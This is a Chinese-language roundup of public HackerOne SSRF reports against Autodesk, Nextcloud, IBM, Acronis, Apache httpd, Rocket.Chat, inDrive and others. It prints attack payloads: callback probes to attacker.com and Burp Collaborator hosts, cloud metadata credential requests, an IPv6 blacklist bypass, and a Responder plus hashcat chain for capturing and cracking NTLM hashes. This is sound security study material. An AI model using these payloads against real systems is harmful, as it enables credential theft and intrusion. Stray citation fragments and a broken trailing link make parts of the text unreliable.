SSRF漏洞公开报告分析

1. SSRF | 获取元数据 | 账户接管

Autodesk | Report #3024673 - SSRF in Autodesk Rendering leading to account takeover | HackerOne

2. AppStore | 版本上传表单 | Blind SSRF

Nextcloud | Report #2925666 - Blind SSRF Vulnerability in Appstore Release Upload Form | HackerOne

• 攻击者提交以下恶意 URL，探测服务器是否访问了指定地址：

  icon_url=http://attacker.com/log?payload=test
  

  通过检查 attacker.com 的访问日志，若发现来自 AppStore 服务器的请求，则确认漏洞存在。

• 进一步利用：

  icon_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/  # 获取云服务器临时凭证
  

3. HOST SSRF

IBM | Report #2696271 - SSRF via host header let access localhost via https://go.dialexa.com | HackerOne

一、为什么HOST修改不会影响正常访问

✅ 实际请求是由目标服务器发出的，它会根据 URL 的主机名去解析 IP 并建立连接。

请求流程通常是这样的：

目标服务发出 HTTP 请求 -> 解析 URL 中的主机名 -> 建立 TCP 连接 -> 发送 HTTP 请求（包含 Host）

举例：

http复制编辑POST https://eva2.csdn.net/v3/xxx HTTP/1.1
Host: 127.0.0.1

此时：

• TCP 连接建立在 eva2.csdn.net 这个域名解析出来的 IP 上
• HTTP 请求头里的 Host 不影响实际连接目标

二、案例

攻击姿势：
篡改 Host 标头，诱导服务器向该地址发起内部请求。
示例请求：

GET /api/health HTTP/1.1
Host: 127.0.0.1:8080  # 篡改后的目标

攻击逻辑：

• 服务器代码使用 Host 标头动态生成内部请求：

  internal_url = f"http://{request.headers['Host']}/admin"
  requests.get(internal_url)  # 实际访问 http://127.0.0.1:8080/admin
  

• 请求仍发送到 victim.com 的公网 IP，但服务器自身会代理访问 127.0.0.1。

生效条件：

• 应用程序逻辑依赖 Host 标头构造请求地址。
• 服务器可访问本地或内网服务（如本地数据库、管理接口）。

4. Turbonomic 的 终端节点 | SSRF 获取元密钥

IBM | Report #2697592 - SSRF and secret key disclosure found on Turbonomic endpoint | HackerOne

IBM | Report #2697601 - SSRF and secret key disclosure found on Turbonomic endpoint | HackerOne

一、介绍

Turbonomic 是一款用于混合云环境的资源优化与管理平台，其核心功能包括自动化资源分配、性能监控和成本优化。由于需要深度集成云服务、虚拟化平台及物理基础设施，Turbonomic 通常拥有高权限访问各类 API 和内部系统。
终端节点（Endpoint） 是 Turbonomic 对外提供 API 或管理接口的入口，若存在安全缺陷，可能成为攻击者渗透的突破口。

二、漏洞分析

• 触发点：
  Turbonomic 的某个 API 终端节点接受用户可控的 URL 参数，用于请求外部资源（如获取监控数据、集成第三方服务）。
  示例请求：

  POST /api/v3/fetch-resource HTTP/1.1
  Host: turbonomic.example.com
  ...
  {
      "resource_url": "http://user-provided-url.com/data"
  }
  

• 漏洞逻辑：
  若后端未对 resource_url 进行合法性校验，攻击者可构造恶意 URL（如内网地址、云元数据接口），诱导 Turbonomic 服务器发起内部请求。

5. POST | Blind SSRF

Acronis | Report #1086206 - Blind SSRF vulnerability on cz.acronis.com | HackerOne

漏洞复现步骤（PoC）：

1. 发送以下 POST 请求，在 address 参数中注入恶意 URL：

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: cz.acronis.com
   ...
   address=http://jczo3ewu8jpfgyiajmkacspsnjtbh0.burpcollaborator.net/ssrf
   

2. 服务器响应 200 OK，并触发对 Burp Collaborator 的 回调请求（来源 IP：109.123.216.85）。

漏洞影响：

• 允许未认证攻击者诱导 WordPress 向任意地址（包括内网服务）发起 HTTP 请求。
• 可进一步用于 内部网络探测、敏感数据泄露 或 网络放大攻击。

6. CVE-2024-40898利用 | SSRF + 泄露 NTLM

Internet Bug Bounty | Report #2612028 - important: Apache HTTP Server: SSRF with mod_rewrite in server/vhost context on Windows (CVE-2024-40898) | HackerOne

一、CVE介绍

漏洞编号：CVE-2024-40898

影响组件：Apache HTTP Server（Windows 平台）tenablecloud.cn+7hkcert.org+7腾讯云 - 产业智变 云启未来+7

影响版本：2.4.0 至 2.4.61httpd.apache.org+2GitHub+2hkcert.org+2

漏洞类型：服务器端请求伪造（SSRF）hkcert.org+4阿里云漏洞库+4腾讯云 - 产业智变 云启未来+4

CVSS v3 分数：7.5（高危）

修复版本：2.4.62腾讯云 - 产业智变 云启未来+6tenablecloud.cn+6NVD+6

二、复现

1. 搭建恶意 SMB 服务器：
   使用 Responder 或 Impacket 监听 SMB 流量：

   responder -I eth0 -wrf
   

2. 触发 SSRF：
   发送构造的请求至漏洞 URL：

   GET /redirect?path=\\attacker-ip\share HTTP/1.1
   Host: victim.com
   

3. 捕获哈希：
   Responder 将捕获服务器的 NetNTLMv2 哈希，保存为 hash.txt。

2. 破解哈希

使用 Hashcat 进行离线破解：

hashcat -m 5600 hash.txt /path/to/wordlist.txt

7. POST | SSRF

Rocket.Chat | Report #1886954 - Unauthenticated full-read SSRF via Twilio integration | HackerOne

Twilio Webhook 功能背景:

• Twilio 集成：
  Rocket.Chat 支持通过 Twilio 接收短信或语音通话通知。当 Twilio 接收到外部事件（如用户回复短信）时，会通过 Webhook 回调 将数据发送到 Rocket.Chat 的指定端点（如 /services/voip/events）。
• 参数处理：
  Webhook 端点可能解析 Twilio 请求中的参数（如 Caller、From、RecordingUrl），并基于这些参数发起后续操作（如下载录音文件）。

2. 漏洞触发点

• 未过滤的 URL 参数：
  若 Rocket.Chat 在处理 Twilio 回调时，直接使用用户可控的 URL 参数（如 RecordingUrl）发起 HTTP 请求，且未校验目标地址的合法性，攻击者可注入恶意 URL。
  示例请求：

  POST /services/voip/events HTTP/1.1
  Host: rocket.chat.example.com
  ...
  {
      "CallSid": "CAXXXXX",
      "RecordingUrl": "http://169.254.169.254/latest/meta-data"  // 恶意注入
  }
  

• 代码逻辑缺陷：
  漏洞版本的 Rocket.Chat 可能直接调用类似 HTTP.get(RecordingUrl) 的代码，未限制目标地址范围。

8. CVE-2024-24806 | NodeJS | SSRF

🧨 漏洞编号：

• CVE：CVE-2024-24806
• 影响组件：libuv（Node.js 使用的底层异步 I/O 库）
• 影响范围：所有 Node.js >= v10 的版本（只要依赖 libuv）

🛠️ 漏洞成因：

js复制编辑// 开发者检查是否包含内部网地址
const url = req.query.url;
if (url.includes('127.0.0.1') || url.includes('localhost')) {
    return res.status(403).send('Blocked');
}

http.get(url); // ⚠️ 直接使用，易受攻击

攻击者输入：

http://aaaaaaaaaaa...aaa0x7f000001

由于字符串太长，开发者的检查逻辑不会发现结尾是 0x7f000001，但 libuv 在调用 getaddrinfo() 前会截断为：

复制编辑
0x7f000001

而这个实际上等价于：

复制编辑
127.0.0.1

最终 SSRF 成功！

9. IPv6绕过 IP黑名单

HackerOne | Report #2301565 - Server Side Request Forgery (SSRF) in webhook functionality | HackerOne

1. IPv6 映射地址解析缺陷

• IPv4-mapped IPv6 格式：
  根据 RFC 4291，IPv4 地址可嵌入 IPv6 地址中，格式为 ::ffff:<IPv4>（如 ::ffff:127.0.0.1）。
• 压缩表示：
  IPv6 地址允许省略前导零，例如 ::ffff:a9fe:a9fe 等价于 ::ffff:169.254.169.254（AWS 元数据服务 IP）。

2. 漏洞触发逻辑

• 攻击载荷构造：
  攻击者在 Webhook 的 URL 参数中使用压缩的 IPv6 映射地址，绕过对 169.254.169.254 的黑名单过滤。
  示例：

  header("Location: http://[::ffff:a9fe:a9fe]");  // 实际指向 169.254.169.254
  

• 服务器行为：
  应用程序解析 URL 时未规范化 IPv6 地址，直接发起请求，导致访问内部服务。

3. 漏洞利用条件

• 输入控制：
  Webhook 功能允许用户指定任意 URL。
• 缺乏规范化校验：
  未对 IPv6 地址进行展开和标准化处理，且黑名单仅覆盖 IPv4 格式。
• 服务器出站权限：
  服务器可访问内部网络或云元数据接口。

10. GET | SSRF

inDrive | Report #2300358 - SSRF in https://couriers.indrive.com/api/file-storage | HackerOne

🔁 复现步骤（Steps To Reproduce）

以 Burp Collaborator 为例展示漏洞触发过程：

1. 发起如下请求（将 url 参数替换为你自己的 OAST 域名）：

   GET /api/file-storage?url=http://va99zfc0lxpm75ogmcjhz8xij9pzdo.oastify.com
   

2. 查看响应内容 & Burp Collaborator 的日志，发现目标服务器发出了对你提供域名的请求，说明 SSRF 成立。

11. 邮件应用程序中的盲SSRF

Nextcloud | Report #1869714 - Blind SSRF in Mail App | HackerOne

漏洞复现与验证：

1. 搭建监听服务：
   使用 Burp Collaborator 或 Interactsh 生成唯一域名（如 ssrf-test.attacker.com）。

2. 构造恶意邮件：
   在邮件正文或附件中插入监听 URL：

   <img src="http://ssrf-test.attacker.com">
   

3. 发送邮件并监控：
   观察监听服务是否收到来自邮件服务器的 HTTP/DNS 请求。
   😕/hackerone.com/reports/1869714)